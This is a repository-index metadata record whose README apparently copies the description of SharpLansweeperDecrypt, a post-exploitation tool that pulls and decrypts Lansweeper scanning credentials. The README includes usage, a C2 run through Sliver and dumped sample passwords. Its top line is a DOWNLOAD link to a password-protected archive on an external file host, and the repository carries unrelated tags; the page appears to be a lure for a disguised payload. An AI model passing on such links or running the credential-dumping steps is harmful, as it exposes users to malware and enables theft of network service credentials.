{"id":29406307,"url":"https://github.com/livia09716/lansweeper","last_synced_at":"2025-07-10T23:19:56.398Z","repository":{"id":303284837,"uuid":"1014970909","full_name":"Livia09716/Lansweeper","owner":"Livia09716","description":"Lansweeper","archived":false,"fork":false,"pushed_at":"2025-07-06T19:02:32.000Z","size":7,"stargazers_count":1,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2025-07-06T20:19:29.779Z","etag":null,"topics":["blockchain","blog","csharp","lansweeper","psychology","quiz","software-development","software-engineering"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"cc0-1.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Livia09716.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-07-06T18:59:59.000Z","updated_at":"2025-07-06T19:03:21.000Z","dependencies_parsed_at":"2025-07-06T20:29:52.683Z","dependency_job_id":null,"html_url":"https://github.com/Livia09716/Lansweeper","commit_stats":null,"previous_names":["livia09716/lansweeper"],"tags_count":1,"template":false,"template_full_name":null,"purl":"pkg:github/Livia09716/Lansweeper","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Livia09716%2FLansweeper","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Livia09716%2FLansweeper/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Livia09716%2FLansweeper/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Livia09716%2FLansweeper/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Livia09716","download_url":"https://codeload.github.com/Livia09716/Lansweeper/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Livia09716%2FLansweeper/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":264686770,"owners_count":23649564,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["blockchain","blog","csharp","lansweeper","psychology","quiz","software-development","software-engineering"],"created_at":"2025-07-10T23:19:55.383Z","updated_at":"2025-07-10T23:19:56.391Z","avatar_url":"https://github.com/Livia09716.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# SharpLansweeperDecrypt\n\n# [DOWNLOAD](https://www.4sync.com/web/directDownload/vQ0GwKNh/ucR3VkWM.b319ff3cba0a42c5ae3faf25e462a580)  \n## PASSWORD: g1tsoft2025\n\n\n![image](https://github.com/user-attachments/assets/437c787f-0f20-4001-aea3-aad05a4b91ab)\n\n\n`SharpLansweeperDecrypt` is designed to automatically extract and decrypt all configured scanning credentials of a  instance, provided there is local access to the server.\n\nFor manual decryption, the tool is capable of decrypting passwords when supplied with both the encrypted password and the encryption key (`C:\\Program Files (x86)\\Lansweeper\\Key\\Encryption.txt`).\n\n\n1. Automatically identifies and decrypts the database connection strings contained within Lansweeper's `web.config` file.\n2. Utilizes the decrypted connection strings to query the Lansweeper SQL database, retrieving all configured `Scanning Credentials`.\n3. Locates the `Encryption.txt` file on the disk, which Lansweeper uses for credential encryption.\n4. Applies the encryption key to decrypt and display the scanning credentials.\n\n## Usage\n```\nPS C:\\Users\\Yeeb\\Downloads\u003e .\\SharpLansweeperDecrypt.exe -h\n╔═╗┬ ┬┌─┐┬─┐┌─┐╦  ┌─┐┌┐┌┌─┐┬ ┬┌─┐┌─┐┌─┐┌─┐┬─┐╔╦╗┌─┐┌─┐┬─┐┬ ┬┌─┐┌┬┐\n╚═╗├─┤├─┤├┬┘├─┘║  ├─┤│││└─┐│││├┤ ├┤ ├─┘├┤ ├┬┘ ║║├┤ │  ├┬┘└┬┘├─┘ │\n╚═╝┴ ┴┴ ┴┴└─┴  ╩═╝┴ ┴┘└┘└─┘└┴┘└─┘└─┘┴  └─┘┴└─═╩╝└─┘└─┘┴└─ ┴ ┴   ┴\n\nUsage:\n  No arguments: Runs the program as is, decrypting web.config and connecting to the SQL database.\n  -p \u003cpath\u003e: Optional path to the encryption key. If not provided, a default path is used.\n  -e \u003cencryptedPassword\u003e: Decrypts the provided encrypted password without decrypting web.config or connecting to the SQL database.\n```\n![image](https://github.com/user-attachments/assets/be6e68d6-8d5d-4e85-ba51-681609b97227)\n\n### Automatic Decryption\n\nWith no arguments specified the tool will try to automatically dump and decrypt all configured `Scanning Credentials`\n\n```\nsliver (maldev) \u003e inline-execute-assembly tool/SharpLansweeperDecrypt.exe -\n\n[*] Successfully executed inline-execute-assembly (coff-loader)\n[*] Got output:\n[+] Success - Wrote 12298 bytes to memory\n\n╔═╗┬ ┬┌─┐┬─┐┌─┐╦  ┌─┐┌┐┌┌─┐┬ ┬┌─┐┌─┐┌─┐┌─┐┬─┐╔╦╗┌─┐┌─┐┬─┐┬ ┬┌─┐┌┬┐\n╚═╗├─┤├─┤├┬┘├─┘║  ├─┤│││└─┐│││├┤ ├┤ ├─┘├┤ ├┬┘ ║║├┤ │  ├┬┘└┬┘├─┘ │\n╚═╝┴ ┴┴ ┴┴└─┴  ╩═╝┴ ┴┘└┘└─┘└┴┘└─┘└─┘┴  └─┘┴└─═╩╝└─┘└─┘┴└─ ┴ ┴   ┴\n\n[+] Loading web.config file...\n[+] Decrypted connectionStrings section:\nUsing connectionString: Data Source=(localdb)\\.\\LSInstance;Initial Catalog=lansweeperdb;Integrated Security=False;User ID=lansweeperuser;Password=InfiniteVoid*GetoSuguru;Connect Timeout=10;Application Name=\"LsService Core .Net SqlClient Data Provider\"\n[+] Opening connection to the database...\n[+] Retrieving credentials from the database...\n[+] Credential decrypted successully\n┌───────────────────────────────────────┐\n│ Credential: SNMP-Private              │\n│ Username:   SNMP Community String     │\n│ Password:   private                   │\n└───────────────────────────────────────┘\n[+] Credential decrypted successully\n┌───────────────────────────────────────┐\n│ Credential: Global SNMP               │\n│ Username:                             │\n│ Password:   public                    │\n└───────────────────────────────────────┘\n[+] Credential decrypted successully\n┌───────────────────────────────────────┐\n│ Credential: Inventory Windows         │\n│ Username:   SWEEP\\svc_inventory_win   │\n│ Password:   CursedEnergy$Itadori$     │\n└───────────────────────────────────────┘\n[+] Credential decrypted successully\n┌───────────────────────────────────────┐\n│ Credential: Inventory Linux           │\n│ Username:   svc_inventory_lnx         │\n│ Password:   CurseExorcist#Gojo!       │\n└───────────────────────────────────────┘\n[+] Database connection closed.\n\n[+] inlineExecute-Assembly Finished\n```\n### Manual Decryption\nSould the `web.config` file be undecryptable or access to the SQL service be unavailable, `SharpLansweeperDecrypt` offers a manual decryption option using the `-e` flag. In cases where the encryption key's path is not explicitly provided with the `-p` flag, the tool defaults to using `C:\\Program Files (x86)\\Lansweeper\\Key\\Encryption.txt`.\n\n```PS C:\\Users\\Yeeb\\Downloads\u003e .\\SharpLansweeperDecrypt.exe -e 'fuVE63qSVMPbuSnYUdUE+MuRpn8t/PXyLnMUb4gfDew='\n╔═╗┬ ┬┌─┐┬─┐┌─┐╦  ┌─┐┌┐┌┌─┐┬ ┬┌─┐┌─┐┌─┐┌─┐┬─┐╔╦╗┌─┐┌─┐┬─┐┬ ┬┌─┐┌┬┐\n╚═╗├─┤├─┤├┬┘├─┘║  ├─┤│││└─┐│││├┤ ├┤ ├─┘├┤ ├┬┘ ║║├┤ │  ├┬┘└┬┘├─┘ │\n╚═╝┴ ┴┴ ┴┴└─┴  ╩═╝┴ ┴┘└┘└─┘└┴┘└─┘└─┘┴  └─┘┴└─═╩╝└─┘└─┘┴└─ ┴ ┴   ┴\n\n\n```\n\n### Powershell\nIn addition to the C# version, this repository also includes a PowerShell script, `LansweeperDecrypt.ps1`, which automates the process of dumping and decrypting Lansweeper credentials. \n\n## Compilation\nEnsure your C# development environment (e.g., .NET SDK, Visual Studio) is set up correctly. The project requires the `System.Configuration.ConfigurationManager`.\n\n```sh\ndotnet add package System.Configuration.ConfigurationManager\n```\n\nAlternatively, if you're using Visual Studio, you can manage NuGet packages for your project and add `System.Configuration.ConfigurationManager` from there.\n\n## Acknowledgments\n\nSpecial thanks to the  repository for providing guidance on how to decrypt Lansweeper Scanning Credentials.\n\n---\n\n*The script is for informational and educational purposes only. The author and contributors of this script are not responsible for any misuse or damage caused by this tool.* \u003c!-- meme --\u003e\n\n\n###TAGS\n-lansweeper\n-photo\n-all\n-seo\n-sharp\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Flivia09716%2Flansweeper","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Flivia09716%2Flansweeper","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Flivia09716%2Flansweeper/lists"}